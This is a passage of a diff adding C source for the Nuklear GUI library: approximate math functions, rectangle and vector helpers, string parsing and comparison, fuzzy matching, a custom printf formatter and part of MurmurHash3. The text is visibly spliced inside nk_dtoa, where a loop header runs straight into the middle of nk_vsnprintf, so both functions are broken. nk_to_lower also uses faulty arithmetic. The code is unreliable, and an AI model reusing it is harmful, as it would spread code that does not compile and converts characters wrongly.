enum nk_property_filter filter); + +#endif + + + + + +/* =============================================================== + * + * MATH + * + * ===============================================================*/ +/* Since nuklear is supposed to work on all systems providing floating point + math without any dependencies I also had to implement my own math functions + for sqrt, sin and cos. Since the actual highly accurate implementations for + the standard library functions are quite complex and I do not need high + precision for my use cases I use approximations. + + Sqrt + ---- + For square root nuklear uses the famous fast inverse square root: + https://en.wikipedia.org/wiki/Fast_inverse_square_root with + slightly tweaked magic constant. While on today's hardware it is + probably not faster it is still fast and accurate enough for + nuklear's use cases. IMPORTANT: this requires float format IEEE 754 + + Sine/Cosine + ----------- + All constants inside both function are generated Remez's minimax + approximations for value range 0...2*PI. The reason why I decided to + approximate exactly that range is that nuklear only needs sine and + cosine to generate circles which only requires that exact range. + In addition I used Remez instead of Taylor for additional precision: + www.lolengine.net/blog/2011/12/21/better-function-approximations. + + The tool I used to generate constants for both sine and cosine + (it can actually approximate a lot more functions) can be + found here: www.lolengine.net/wiki/oss/lolremez +*/ +NK_LIB float +nk_inv_sqrt(float n) +{ + float x2; + const float threehalfs = 1.5f; + union {nk_uint i; float f;} conv = {0}; + conv.f = n; + x2 = n * 0.5f; + conv.i = 0x5f375A84 - (conv.i >> 1); + conv.f = conv.f * (threehalfs - (x2 * conv.f * conv.f)); + return conv.f; +} +NK_LIB float +nk_sqrt(float x) +{ + return x * nk_inv_sqrt(x); +} +NK_LIB float +nk_sin(float x) +{ + NK_STORAGE const float a0 = +1.91059300966915117e-31f; + NK_STORAGE const float a1 = +1.00086760103908896f; + NK_STORAGE const float a2 = -1.21276126894734565e-2f; + NK_STORAGE const float a3 = -1.38078780785773762e-1f; + NK_STORAGE const float a4 = -2.67353392911981221e-2f; + NK_STORAGE const float a5 = +2.08026600266304389e-2f; + NK_STORAGE const float a6 = -3.03996055049204407e-3f; + NK_STORAGE const float a7 = +1.38235642404333740e-4f; + return a0 + x*(a1 + x*(a2 + x*(a3 + x*(a4 + x*(a5 + x*(a6 + x*a7)))))); +} +NK_LIB float +nk_cos(float x) +{ + /* New implementation. Also generated using lolremez. */ + /* Old version significantly deviated from expected results. */ + NK_STORAGE const float a0 = 9.9995999154986614e-1f; + NK_STORAGE const float a1 = 1.2548995793001028e-3f; + NK_STORAGE const float a2 = -5.0648546280678015e-1f; + NK_STORAGE const float a3 = 1.2942246466519995e-2f; + NK_STORAGE const float a4 = 2.8668384702547972e-2f; + NK_STORAGE const float a5 = 7.3726485210586547e-3f; + NK_STORAGE const float a6 = -3.8510875386947414e-3f; + NK_STORAGE const float a7 = 4.7196604604366623e-4f; + NK_STORAGE const float a8 = -1.8776444013090451e-5f; + return a0 + x*(a1 + x*(a2 + x*(a3 + x*(a4 + x*(a5 + x*(a6 + x*(a7 + x*a8))))))); +} +NK_LIB nk_uint +nk_round_up_pow2(nk_uint v) +{ + v--; + v |= v >> 1; + v |= v >> 2; + v |= v >> 4; + v |= v >> 8; + v |= v >> 16; + v++; + return v; +} +NK_LIB double +nk_pow(double x, int n) +{ + /* check the sign of n */ + double r = 1; + int plus = n >= 0; + n = (plus) ? n : -n; + while (n > 0) { + if ((n & 1) == 1) + r *= x; + n /= 2; + x *= x; + } + return plus ? r : 1.0 / r; +} +NK_LIB int +nk_ifloord(double x) +{ + x = (double)((int)x - ((x < 0.0) ? 1 : 0)); + return (int)x; +} +NK_LIB int +nk_ifloorf(float x) +{ + x = (float)((int)x - ((x < 0.0f) ? 1 : 0)); + return (int)x; +} +NK_LIB int +nk_iceilf(float x) +{ + if (x >= 0) { + int i = (int)x; + return (x > i) ? i+1: i; + } else { + int t = (int)x; + float r = x - (float)t; + return (r > 0.0f) ? t+1: t; + } +} +NK_LIB int +nk_log10(double n) +{ + int neg; + int ret; + int exp = 0; + + neg = (n < 0) ? 1 : 0; + ret = (neg) ? (int)-n : (int)n; + while ((ret / 10) > 0) { + ret /= 10; + exp++; + } + if (neg) exp = -exp; + return exp; +} +NK_API struct nk_rect +nk_get_null_rect(void) +{ + return nk_null_rect; +} +NK_API struct nk_rect +nk_rect(float x, float y, float w, float h) +{ + struct nk_rect r; + r.x = x; r.y = y; + r.w = w; r.h = h; + return r; +} +NK_API struct nk_rect +nk_recti(int x, int y, int w, int h) +{ + struct nk_rect r; + r.x = (float)x; + r.y = (float)y; + r.w = (float)w; + r.h = (float)h; + return r; +} +NK_API struct nk_rect +nk_recta(struct nk_vec2 pos, struct nk_vec2 size) +{ + return nk_rect(pos.x, pos.y, size.x, size.y); +} +NK_API struct nk_rect +nk_rectv(const float *r) +{ + return nk_rect(r[0], r[1], r[2], r[3]); +} +NK_API struct nk_rect +nk_rectiv(const int *r) +{ + return nk_recti(r[0], r[1], r[2], r[3]); +} +NK_API struct nk_vec2 +nk_rect_pos(struct nk_rect r) +{ + struct nk_vec2 ret; + ret.x = r.x; ret.y = r.y; + return ret; +} +NK_API struct nk_vec2 +nk_rect_size(struct nk_rect r) +{ + struct nk_vec2 ret; + ret.x = r.w; ret.y = r.h; + return ret; +} +NK_LIB struct nk_rect +nk_shrink_rect(struct nk_rect r, float amount) +{ + struct nk_rect res; + r.w = NK_MAX(r.w, 2 * amount); + r.h = NK_MAX(r.h, 2 * amount); + res.x = r.x + amount; + res.y = r.y + amount; + res.w = r.w - 2 * amount; + res.h = r.h - 2 * amount; + return res; +} +NK_LIB struct nk_rect +nk_pad_rect(struct nk_rect r, struct nk_vec2 pad) +{ + r.w = NK_MAX(r.w, 2 * pad.x); + r.h = NK_MAX(r.h, 2 * pad.y); + r.x += pad.x; r.y += pad.y; + r.w -= 2 * pad.x; + r.h -= 2 * pad.y; + return r; +} +NK_API struct nk_vec2 +nk_vec2(float x, float y) +{ + struct nk_vec2 ret; + ret.x = x; ret.y = y; + return ret; +} +NK_API struct nk_vec2 +nk_vec2i(int x, int y) +{ + struct nk_vec2 ret; + ret.x = (float)x; + ret.y = (float)y; + return ret; +} +NK_API struct nk_vec2 +nk_vec2v(const float *v) +{ + return nk_vec2(v[0], v[1]); +} +NK_API struct nk_vec2 +nk_vec2iv(const int *v) +{ + return nk_vec2i(v[0], v[1]); +} +NK_LIB void +nk_unify(struct nk_rect *clip, const struct nk_rect *a, float x0, float y0, + float x1, float y1) +{ + NK_ASSERT(a); + NK_ASSERT(clip); + clip->x = NK_MAX(a->x, x0); + clip->y = NK_MAX(a->y, y0); + clip->w = NK_MIN(a->x + a->w, x1) - clip->x; + clip->h = NK_MIN(a->y + a->h, y1) - clip->y; + clip->w = NK_MAX(0, clip->w); + clip->h = NK_MAX(0, clip->h); +} + +NK_API void +nk_triangle_from_direction(struct nk_vec2 *result, struct nk_rect r, + float pad_x, float pad_y, enum nk_heading direction) +{ + float w_half, h_half; + NK_ASSERT(result); + + r.w = NK_MAX(2 * pad_x, r.w); + r.h = NK_MAX(2 * pad_y, r.h); + r.w = r.w - 2 * pad_x; + r.h = r.h - 2 * pad_y; + + r.x = r.x + pad_x; + r.y = r.y + pad_y; + + w_half = r.w / 2.0f; + h_half = r.h / 2.0f; + + if (direction == NK_UP) { + result[0] = nk_vec2(r.x + w_half, r.y); + result[1] = nk_vec2(r.x + r.w, r.y + r.h); + result[2] = nk_vec2(r.x, r.y + r.h); + } else if (direction == NK_RIGHT) { + result[0] = nk_vec2(r.x, r.y); + result[1] = nk_vec2(r.x + r.w, r.y + h_half); + result[2] = nk_vec2(r.x, r.y + r.h); + } else if (direction == NK_DOWN) { + result[0] = nk_vec2(r.x, r.y); + result[1] = nk_vec2(r.x + r.w, r.y); + result[2] = nk_vec2(r.x + w_half, r.y + r.h); + } else { + result[0] = nk_vec2(r.x, r.y + h_half); + result[1] = nk_vec2(r.x + r.w, r.y); + result[2] = nk_vec2(r.x + r.w, r.y + r.h); + } +} + + + + + +/* =============================================================== + * + * UTIL + * + * ===============================================================*/ +NK_INTERN int nk_str_match_here(const char *regexp, const char *text); +NK_INTERN int nk_str_match_star(int c, const char *regexp, const char *text); +NK_LIB int nk_is_lower(int c) {return (c >= 'a' && c <= 'z') || (c >= 0xE0 && c <= 0xFF);} +NK_LIB int nk_is_upper(int c){return (c >= 'A' && c <= 'Z') || (c >= 0xC0 && c <= 0xDF);} +NK_LIB int nk_to_upper(int c) {return (c >= 'a' && c <= 'z') ? (c - ('a' - 'A')) : c;} +NK_LIB int nk_to_lower(int c) {return (c >= 'A' && c <= 'Z') ? (c - ('a' + 'A')) : c;} + +NK_LIB void* +nk_memcopy(void *dst0, const void *src0, nk_size length) +{ + nk_ptr t; + char *dst = (char*)dst0; + const char *src = (const char*)src0; + if (length == 0 || dst == src) + goto done; + + #define nk_word int + #define nk_wsize sizeof(nk_word) + #define nk_wmask (nk_wsize-1) + #define NK_TLOOP(s) if (t) NK_TLOOP1(s) + #define NK_TLOOP1(s) do { s; } while (--t) + + if (dst < src) { + t = (nk_ptr)src; /* only need low bits */ + if ((t | (nk_ptr)dst) & nk_wmask) { + if ((t ^ (nk_ptr)dst) & nk_wmask || length < nk_wsize) + t = length; + else + t = nk_wsize - (t & nk_wmask); + length -= t; + NK_TLOOP1(*dst++ = *src++); + } + t = length / nk_wsize; + NK_TLOOP(*(nk_word*)(void*)dst = *(const nk_word*)(const void*)src; + src += nk_wsize; dst += nk_wsize); + t = length & nk_wmask; + NK_TLOOP(*dst++ = *src++); + } else { + src += length; + dst += length; + t = (nk_ptr)src; + if ((t | (nk_ptr)dst) & nk_wmask) { + if ((t ^ (nk_ptr)dst) & nk_wmask || length <= nk_wsize) + t = length; + else + t &= nk_wmask; + length -= t; + NK_TLOOP1(*--dst = *--src); + } + t = length / nk_wsize; + NK_TLOOP(src -= nk_wsize; dst -= nk_wsize; + *(nk_word*)(void*)dst = *(const nk_word*)(const void*)src); + t = length & nk_wmask; + NK_TLOOP(*--dst = *--src); + } + #undef nk_word + #undef nk_wsize + #undef nk_wmask + #undef NK_TLOOP + #undef NK_TLOOP1 +done: + return (dst0); +} +NK_LIB void +nk_memset(void *ptr, int c0, nk_size size) +{ + #define nk_word unsigned + #define nk_wsize sizeof(nk_word) + #define nk_wmask (nk_wsize - 1) + nk_byte *dst = (nk_byte*)ptr; + unsigned c = 0; + nk_size t = 0; + + if ((c = (nk_byte)c0) != 0) { + c = (c << 8) | c; /* at least 16-bits */ + if (sizeof(unsigned int) > 2) + c = (c << 16) | c; /* at least 32-bits*/ + } + + /* too small of a word count */ + dst = (nk_byte*)ptr; + if (size < 3 * nk_wsize) { + while (size--) *dst++ = (nk_byte)c0; + return; + } + + /* align destination */ + if ((t = NK_PTR_TO_UINT(dst) & nk_wmask) != 0) { + t = nk_wsize -t; + size -= t; + do { + *dst++ = (nk_byte)c0; + } while (--t != 0); + } + + /* fill word */ + t = size / nk_wsize; + do { + *(nk_word*)((void*)dst) = c; + dst += nk_wsize; + } while (--t != 0); + + /* fill trailing bytes */ + t = (size & nk_wmask); + if (t != 0) { + do { + *dst++ = (nk_byte)c0; + } while (--t != 0); + } + + #undef nk_word + #undef nk_wsize + #undef nk_wmask +} +NK_LIB void +nk_zero(void *ptr, nk_size size) +{ + NK_ASSERT(ptr); + NK_MEMSET(ptr, 0, size); +} +NK_API int +nk_strlen(const char *str) +{ + int siz = 0; + NK_ASSERT(str); + while (str && *str++ != '\0') siz++; + return siz; +} +NK_API int +nk_strtoi(const char *str, const char **endptr) +{ + int neg = 1; + const char *p = str; + int value = 0; + + NK_ASSERT(str); + if (!str) return 0; + + /* skip whitespace */ + while (*p == ' ') p++; + if (*p == '-') { + neg = -1; + p++; + } + while (*p && *p >= '0' && *p <= '9') { + value = value * 10 + (int) (*p - '0'); + p++; + } + if (endptr) + *endptr = p; + return neg*value; +} +NK_API double +nk_strtod(const char *str, const char **endptr) +{ + double m; + double neg = 1.0; + const char *p = str; + double value = 0; + double number = 0; + + NK_ASSERT(str); + if (!str) return 0; + + /* skip whitespace */ + while (*p == ' ') p++; + if (*p == '-') { + neg = -1.0; + p++; + } + + while (*p && *p != '.' && *p != 'e') { + value = value * 10.0 + (double) (*p - '0'); + p++; + } + + if (*p == '.') { + p++; + for(m = 0.1; *p && *p != 'e'; p++ ) { + value = value + (double) (*p - '0') * m; + m *= 0.1; + } + } + if (*p == 'e') { + int i, pow, div; + p++; + if (*p == '-') { + div = nk_true; + p++; + } else if (*p == '+') { + div = nk_false; + p++; + } else div = nk_false; + + for (pow = 0; *p; p++) + pow = pow * 10 + (int) (*p - '0'); + + for (m = 1.0, i = 0; i < pow; i++) + m *= 10.0; + + if (div) + value /= m; + else value *= m; + } + number = value * neg; + if (endptr) + *endptr = p; + return number; +} +NK_API float +nk_strtof(const char *str, const char **endptr) +{ + float float_value; + double double_value; + double_value = NK_STRTOD(str, endptr); + float_value = (float)double_value; + return float_value; +} +NK_API int +nk_stricmp(const char *s1, const char *s2) +{ + nk_int c1,c2,d; + do { + c1 = *s1++; + c2 = *s2++; + d = c1 - c2; + while (d) { + if (c1 <= 'Z' && c1 >= 'A') { + d += ('a' - 'A'); + if (!d) break; + } + if (c2 <= 'Z' && c2 >= 'A') { + d -= ('a' - 'A'); + if (!d) break; + } + return ((d >= 0) << 1) - 1; + } + } while (c1); + return 0; +} +NK_API int +nk_stricmpn(const char *s1, const char *s2, int n) +{ + int c1,c2,d; + NK_ASSERT(n >= 0); + do { + c1 = *s1++; + c2 = *s2++; + if (!n--) return 0; + + d = c1 - c2; + while (d) { + if (c1 <= 'Z' && c1 >= 'A') { + d += ('a' - 'A'); + if (!d) break; + } + if (c2 <= 'Z' && c2 >= 'A') { + d -= ('a' - 'A'); + if (!d) break; + } + return ((d >= 0) << 1) - 1; + } + } while (c1); + return 0; +} +NK_INTERN int +nk_str_match_here(const char *regexp, const char *text) +{ + if (regexp[0] == '\0') + return 1; + if (regexp[1] == '*') + return nk_str_match_star(regexp[0], regexp+2, text); + if (regexp[0] == '$' && regexp[1] == '\0') + return *text == '\0'; + if (*text!='\0' && (regexp[0]=='.' || regexp[0]==*text)) + return nk_str_match_here(regexp+1, text+1); + return 0; +} +NK_INTERN int +nk_str_match_star(int c, const char *regexp, const char *text) +{ + do {/* a '* matches zero or more instances */ + if (nk_str_match_here(regexp, text)) + return 1; + } while (*text != '\0' && (*text++ == c || c == '.')); + return 0; +} +NK_API int +nk_strfilter(const char *text, const char *regexp) +{ + /* + c matches any literal character c + . matches any single character + ^ matches the beginning of the input string + $ matches the end of the input string + * matches zero or more occurrences of the previous character*/ + if (regexp[0] == '^') + return nk_str_match_here(regexp+1, text); + do { /* must look even if string is empty */ + if (nk_str_match_here(regexp, text)) + return 1; + } while (*text++ != '\0'); + return 0; +} +NK_API int +nk_strmatch_fuzzy_text(const char *str, int str_len, + const char *pattern, int *out_score) +{ + /* Returns true if each character in pattern is found sequentially within str + * if found then out_score is also set. Score value has no intrinsic meaning. + * Range varies with pattern. Can only compare scores with same search pattern. */ + + /* bonus for adjacent matches */ + #define NK_ADJACENCY_BONUS 5 + /* bonus if match occurs after a separator */ + #define NK_SEPARATOR_BONUS 10 + /* bonus if match is uppercase and prev is lower */ + #define NK_CAMEL_BONUS 10 + /* penalty applied for every letter in str before the first match */ + #define NK_LEADING_LETTER_PENALTY (-3) + /* maximum penalty for leading letters */ + #define NK_MAX_LEADING_LETTER_PENALTY (-9) + /* penalty for every letter that doesn't matter */ + #define NK_UNMATCHED_LETTER_PENALTY (-1) + + /* loop variables */ + int score = 0; + char const * pattern_iter = pattern; + int str_iter = 0; + int prev_matched = nk_false; + int prev_lower = nk_false; + /* true so if first letter match gets separator bonus*/ + int prev_separator = nk_true; + + /* use "best" matched letter if multiple string letters match the pattern */ + char const * best_letter = 0; + int best_letter_score = 0; + + /* loop over strings */ + NK_ASSERT(str); + NK_ASSERT(pattern); + if (!str || !str_len || !pattern) return 0; + while (str_iter < str_len) + { + const char pattern_letter = *pattern_iter; + const char str_letter = str[str_iter]; + + int next_match = *pattern_iter != '\0' && + nk_to_lower(pattern_letter) == nk_to_lower(str_letter); + int rematch = best_letter && nk_to_upper(*best_letter) == nk_to_upper(str_letter); + + int advanced = next_match && best_letter; + int pattern_repeat = best_letter && *pattern_iter != '\0'; + pattern_repeat = pattern_repeat && + nk_to_lower(*best_letter) == nk_to_lower(pattern_letter); + + if (advanced || pattern_repeat) { + score += best_letter_score; + best_letter = 0; + best_letter_score = 0; + } + + if (next_match || rematch) + { + int new_score = 0; + /* Apply penalty for each letter before the first pattern match */ + if (pattern_iter == pattern) { + int count = (int)(&str[str_iter] - str); + int penalty = NK_LEADING_LETTER_PENALTY * count; + if (penalty < NK_MAX_LEADING_LETTER_PENALTY) + penalty = NK_MAX_LEADING_LETTER_PENALTY; + + score += penalty; + } + + /* apply bonus for consecutive bonuses */ + if (prev_matched) + new_score += NK_ADJACENCY_BONUS; + + /* apply bonus for matches after a separator */ + if (prev_separator) + new_score += NK_SEPARATOR_BONUS; + + /* apply bonus across camel case boundaries */ + if (prev_lower && nk_is_upper(str_letter)) + new_score += NK_CAMEL_BONUS; + + /* update pattern iter IFF the next pattern letter was matched */ + if (next_match) + ++pattern_iter; + + /* update best letter in str which may be for a "next" letter or a rematch */ + if (new_score >= best_letter_score) { + /* apply penalty for now skipped letter */ + if (best_letter != 0) + score += NK_UNMATCHED_LETTER_PENALTY; + + best_letter = &str[str_iter]; + best_letter_score = new_score; + } + prev_matched = nk_true; + } else { + score += NK_UNMATCHED_LETTER_PENALTY; + prev_matched = nk_false; + } + + /* separators should be more easily defined */ + prev_lower = nk_is_lower(str_letter) != 0; + prev_separator = str_letter == '_' || str_letter == ' '; + + ++str_iter; + } + + /* apply score for last match */ + if (best_letter) + score += best_letter_score; + + /* did not match full pattern */ + if (*pattern_iter != '\0') + return nk_false; + + if (out_score) + *out_score = score; + return nk_true; +} +NK_API int +nk_strmatch_fuzzy_string(char const *str, char const *pattern, int *out_score) +{ + return nk_strmatch_fuzzy_text(str, nk_strlen(str), pattern, out_score); +} +NK_LIB int +nk_string_float_limit(char *string, int prec) +{ + int dot = 0; + char *c = string; + while (*c) { + if (*c == '.') { + dot = 1; + c++; + continue; + } + if (dot == (prec+1)) { + *c = 0; + break; + } + if (dot > 0) dot++; + c++; + } + return (int)(c - string); +} +NK_INTERN void +nk_strrev_ascii(char *s) +{ + int len = nk_strlen(s); + int end = len / 2; + int i = 0; + char t; + for (; i < end; ++i) { + t = s[i]; + s[i] = s[len - 1 - i]; + s[len -1 - i] = t; + } +} +NK_LIB char* +nk_itoa(char *s, long n) +{ + long i = 0; + if (n == 0) { + s[i++] = '0'; + s[i] = 0; + return s; + } + if (n < 0) { + s[i++] = '-'; + n = -n; + } + while (n > 0) { + s[i++] = (char)('0' + (n % 10)); + n /= 10; + } + s[i] = 0; + if (s[0] == '-') + ++s; + + nk_strrev_ascii(s); + return s; +} +NK_LIB char* +nk_dtoa(char *s, double n) +{ + int useExp = 0; + int digit = 0, m = 0, m1 = 0; + char *c = s; + int neg = 0; + + NK_ASSERT(s); + if (!s) return 0; + + if (n == 0.0) { + s[0] = '0'; s[1] = '\0'; + return s; + } + + neg = (n < 0); + if (neg) n = -n; + + /* calculate magnitude */ + m = nk_log10(n); + useExp = (m >= 14 || (neg && m >= 9) || m <= -9); + if (neg) *(c++) = '-'; + + /* set up for scientific notation */ + if (useExp) { + if (m < 0) + m -= 1; + n = n / (double)nk_pow(10.0, m); + m1 = m; + m = 0; + } + if (m < 1.0) { + m = 0; + } + + /* convert the number */ + while (n > NK_FLOAT_PRECISION || m >= 0) { + double weight = nk_pow(10.0, m); + if (weight > 0) { + double t = (double)n / weight; + digit = nk_ifloord(t); + n -= ((double)digit * weight); + *(c++) = (char)('0' + (char)digit); + } + if (m == 0 && n > 0) + *(c++) = '.'; + m--; + } + + if (useExp) { + /* convert the exponent */ + int i, j; + *(c++) = 'e'; + if (m1 > 0) { + *(c++) = '+'; + } else { + *(c++) = '-'; + m1 = -m1; + } + m = 0; + while (m1 > 0) { + *(c++) = (char)('0' + (char)(m1 % 10)); + m1 /= 10; + m++; + } + c -= m; + for (i = 0, j = m-1; i= buf_size) break; + iter++; + + /* flag arguments */ + while (*iter) { + if (*iter == '-') flag |= NK_ARG_FLAG_LEFT; + else if (*iter == '+') flag |= NK_ARG_FLAG_PLUS; + else if (*iter == ' ') flag |= NK_ARG_FLAG_SPACE; + else if (*iter == '#') flag |= NK_ARG_FLAG_NUM; + else if (*iter == '0') flag |= NK_ARG_FLAG_ZERO; + else break; + iter++; + } + + /* width argument */ + width = NK_DEFAULT; + if (*iter >= '1' && *iter <= '9') { + const char *end; + width = nk_strtoi(iter, &end); + if (end == iter) + width = -1; + else iter = end; + } else if (*iter == '*') { + width = va_arg(args, int); + iter++; + } + + /* precision argument */ + precision = NK_DEFAULT; + if (*iter == '.') { + iter++; + if (*iter == '*') { + precision = va_arg(args, int); + iter++; + } else { + const char *end; + precision = nk_strtoi(iter, &end); + if (end == iter) + precision = -1; + else iter = end; + } + } + + /* length modifier */ + if (*iter == 'h') { + if (*(iter+1) == 'h') { + arg_type = NK_ARG_TYPE_CHAR; + iter++; + } else arg_type = NK_ARG_TYPE_SHORT; + iter++; + } else if (*iter == 'l') { + arg_type = NK_ARG_TYPE_LONG; + iter++; + } else arg_type = NK_ARG_TYPE_DEFAULT; + + /* specifier */ + if (*iter == '%') { + NK_ASSERT(arg_type == NK_ARG_TYPE_DEFAULT); + NK_ASSERT(precision == NK_DEFAULT); + NK_ASSERT(width == NK_DEFAULT); + if (len < buf_size) + buf[len++] = '%'; + } else if (*iter == 's') { + /* string */ + const char *str = va_arg(args, const char*); + NK_ASSERT(str != buf && "buffer and argument are not allowed to overlap!"); + NK_ASSERT(arg_type == NK_ARG_TYPE_DEFAULT); + NK_ASSERT(precision == NK_DEFAULT); + NK_ASSERT(width == NK_DEFAULT); + if (str == buf) return -1; + while (str && *str && len < buf_size) + buf[len++] = *str++; + } else if (*iter == 'n') { + /* current length callback */ + signed int *n = va_arg(args, int*); + NK_ASSERT(arg_type == NK_ARG_TYPE_DEFAULT); + NK_ASSERT(precision == NK_DEFAULT); + NK_ASSERT(width == NK_DEFAULT); + if (n) *n = len; + } else if (*iter == 'c' || *iter == 'i' || *iter == 'd') { + /* signed integer */ + long value = 0; + const char *num_iter; + int num_len, num_print, padding; + int cur_precision = NK_MAX(precision, 1); + int cur_width = NK_MAX(width, 0); + + /* retrieve correct value type */ + if (arg_type == NK_ARG_TYPE_CHAR) + value = (signed char)va_arg(args, int); + else if (arg_type == NK_ARG_TYPE_SHORT) + value = (signed short)va_arg(args, int); + else if (arg_type == NK_ARG_TYPE_LONG) + value = va_arg(args, signed long); + else if (*iter == 'c') + value = (unsigned char)va_arg(args, int); + else value = va_arg(args, signed int); + + /* convert number to string */ + nk_itoa(number_buffer, value); + num_len = nk_strlen(number_buffer); + padding = NK_MAX(cur_width - NK_MAX(cur_precision, num_len), 0); + if ((flag & NK_ARG_FLAG_PLUS) || (flag & NK_ARG_FLAG_SPACE)) + padding = NK_MAX(padding-1, 0); + + /* fill left padding up to a total of `width` characters */ + if (!(flag & NK_ARG_FLAG_LEFT)) { + while (padding-- > 0 && (len < buf_size)) { + if ((flag & NK_ARG_FLAG_ZERO) && (precision == NK_DEFAULT)) + buf[len++] = '0'; + else buf[len++] = ' '; + } + } + + /* copy string value representation into buffer */ + if ((flag & NK_ARG_FLAG_PLUS) && value >= 0 && len < buf_size) + buf[len++] = '+'; + else if ((flag & NK_ARG_FLAG_SPACE) && value >= 0 && len < buf_size) + buf[len++] = ' '; + + /* fill up to precision number of digits with '0' */ + num_print = NK_MAX(cur_precision, num_len); + while (precision && (num_print > num_len) && (len < buf_size)) { + buf[len++] = '0'; + num_print--; + } + + /* copy string value representation into buffer */ + num_iter = number_buffer; + while (precision && *num_iter && len < buf_size) + buf[len++] = *num_iter++; + + /* fill right padding up to width characters */ + if (flag & NK_ARG_FLAG_LEFT) { + while ((padding-- > 0) && (len < buf_size)) + buf[len++] = ' '; + } + } else if (*iter == 'o' || *iter == 'x' || *iter == 'X' || *iter == 'u') { + /* unsigned integer */ + unsigned long value = 0; + int num_len = 0, num_print, padding = 0; + int cur_precision = NK_MAX(precision, 1); + int cur_width = NK_MAX(width, 0); + unsigned int base = (*iter == 'o') ? 8: (*iter == 'u')? 10: 16; + + /* print oct/hex/dec value */ + const char *upper_output_format = "0123456789ABCDEF"; + const char *lower_output_format = "0123456789abcdef"; + const char *output_format = (*iter == 'x') ? + lower_output_format: upper_output_format; + + /* retrieve correct value type */ + if (arg_type == NK_ARG_TYPE_CHAR) + value = (unsigned char)va_arg(args, int); + else if (arg_type == NK_ARG_TYPE_SHORT) + value = (unsigned short)va_arg(args, int); + else if (arg_type == NK_ARG_TYPE_LONG) + value = va_arg(args, unsigned long); + else value = va_arg(args, unsigned int); + + do { + /* convert decimal number into hex/oct number */ + int digit = output_format[value % base]; + if (num_len < NK_MAX_NUMBER_BUFFER) + number_buffer[num_len++] = (char)digit; + value /= base; + } while (value > 0); + + num_print = NK_MAX(cur_precision, num_len); + padding = NK_MAX(cur_width - NK_MAX(cur_precision, num_len), 0); + if (flag & NK_ARG_FLAG_NUM) + padding = NK_MAX(padding-1, 0); + + /* fill left padding up to a total of `width` characters */ + if (!(flag & NK_ARG_FLAG_LEFT)) { + while ((padding-- > 0) && (len < buf_size)) { + if ((flag & NK_ARG_FLAG_ZERO) && (precision == NK_DEFAULT)) + buf[len++] = '0'; + else buf[len++] = ' '; + } + } + + /* fill up to precision number of digits */ + if (num_print && (flag & NK_ARG_FLAG_NUM)) { + if ((*iter == 'o') && (len < buf_size)) { + buf[len++] = '0'; + } else if ((*iter == 'x') && ((len+1) < buf_size)) { + buf[len++] = '0'; + buf[len++] = 'x'; + } else if ((*iter == 'X') && ((len+1) < buf_size)) { + buf[len++] = '0'; + buf[len++] = 'X'; + } + } + while (precision && (num_print > num_len) && (len < buf_size)) { + buf[len++] = '0'; + num_print--; + } + + /* reverse number direction */ + while (num_len > 0) { + if (precision && (len < buf_size)) + buf[len++] = number_buffer[num_len-1]; + num_len--; + } + + /* fill right padding up to width characters */ + if (flag & NK_ARG_FLAG_LEFT) { + while ((padding-- > 0) && (len < buf_size)) + buf[len++] = ' '; + } + } else if (*iter == 'f') { + /* floating point */ + const char *num_iter; + int cur_precision = (precision < 0) ? 6: precision; + int prefix, cur_width = NK_MAX(width, 0); + double value = va_arg(args, double); + int num_len = 0, frac_len = 0, dot = 0; + int padding = 0; + + NK_ASSERT(arg_type == NK_ARG_TYPE_DEFAULT); + NK_DTOA(number_buffer, value); + num_len = nk_strlen(number_buffer); + + /* calculate padding */ + num_iter = number_buffer; + while (*num_iter && *num_iter != '.') + num_iter++; + + prefix = (*num_iter == '.')?(int)(num_iter - number_buffer)+1:0; + padding = NK_MAX(cur_width - (prefix + NK_MIN(cur_precision, num_len - prefix)) , 0); + if ((flag & NK_ARG_FLAG_PLUS) || (flag & NK_ARG_FLAG_SPACE)) + padding = NK_MAX(padding-1, 0); + + /* fill left padding up to a total of `width` characters */ + if (!(flag & NK_ARG_FLAG_LEFT)) { + while (padding-- > 0 && (len < buf_size)) { + if (flag & NK_ARG_FLAG_ZERO) + buf[len++] = '0'; + else buf[len++] = ' '; + } + } + + /* copy string value representation into buffer */ + num_iter = number_buffer; + if ((flag & NK_ARG_FLAG_PLUS) && (value >= 0) && (len < buf_size)) + buf[len++] = '+'; + else if ((flag & NK_ARG_FLAG_SPACE) && (value >= 0) && (len < buf_size)) + buf[len++] = ' '; + while (*num_iter) { + if (dot) frac_len++; + if (len < buf_size) + buf[len++] = *num_iter; + if (*num_iter == '.') dot = 1; + if (frac_len >= cur_precision) break; + num_iter++; + } + + /* fill number up to precision */ + while (frac_len < cur_precision) { + if (!dot && len < buf_size) { + buf[len++] = '.'; + dot = 1; + } + if (len < buf_size) + buf[len++] = '0'; + frac_len++; + } + + /* fill right padding up to width characters */ + if (flag & NK_ARG_FLAG_LEFT) { + while ((padding-- > 0) && (len < buf_size)) + buf[len++] = ' '; + } + } else { + /* Specifier not supported: g,G,e,E,p,z */ + NK_ASSERT(0 && "specifier is not supported!"); + return result; + } + } + buf[(len >= buf_size)?(buf_size-1):len] = 0; + result = (len >= buf_size)?-1:len; + return result; +} +#endif +NK_LIB int +nk_strfmt(char *buf, int buf_size, const char *fmt, va_list args) +{ + int result = -1; + NK_ASSERT(buf); + NK_ASSERT(buf_size); + if (!buf || !buf_size || !fmt) return 0; +#ifdef NK_INCLUDE_STANDARD_IO + result = NK_VSNPRINTF(buf, (nk_size)buf_size, fmt, args); + result = (result >= buf_size) ? -1: result; + buf[buf_size-1] = 0; +#else + result = nk_vsnprintf(buf, buf_size, fmt, args); +#endif + return result; +} +#endif +NK_API nk_hash +nk_murmur_hash(const void * key, int len, nk_hash seed) +{ + /* 32-Bit MurmurHash3: https://code.google.com/p/smhasher/wiki/MurmurHash3*/ + #define NK_ROTL(x,r) ((x) << (r) | ((x) >> (32 - r))) + + nk_uint h1 = seed; + nk_uint k1; + const nk_byte *data = (const nk_byte*)key; + const nk_byte *keyptr = data; + nk_byte *k1ptr; + const int bsize = sizeof(k1); + const int nblocks = len/4; + + const nk_uint c1 = 0xcc9e2d51; + const nk_uint c2 = 0x1b873593; + const nk_byte *tail; + int i; + + /* body */ + if (!key) return 0; + for (i = 0; i < nblocks; ++i, keyptr += bsize) { + k1ptr = (nk_byte*)&k1; + k1ptr[0] = keyptr[0]; + k1ptr[1] = keyptr[1]; + k1ptr[2] = keyptr[2]; + k1ptr[3] = keyptr[3]; + + k1 *= c1; + k1 = NK_ROTL(k1,15); + k1 *= c2; + + h1 ^= k1; + h1 = NK_ROTL(h1,13); + h1 = h1*5+0xe6546b64; + } + + /* tail */ + tail = (const nk_byte*)(data + nblocks*4); + k1 = 0; + switch (len & 3) { + case 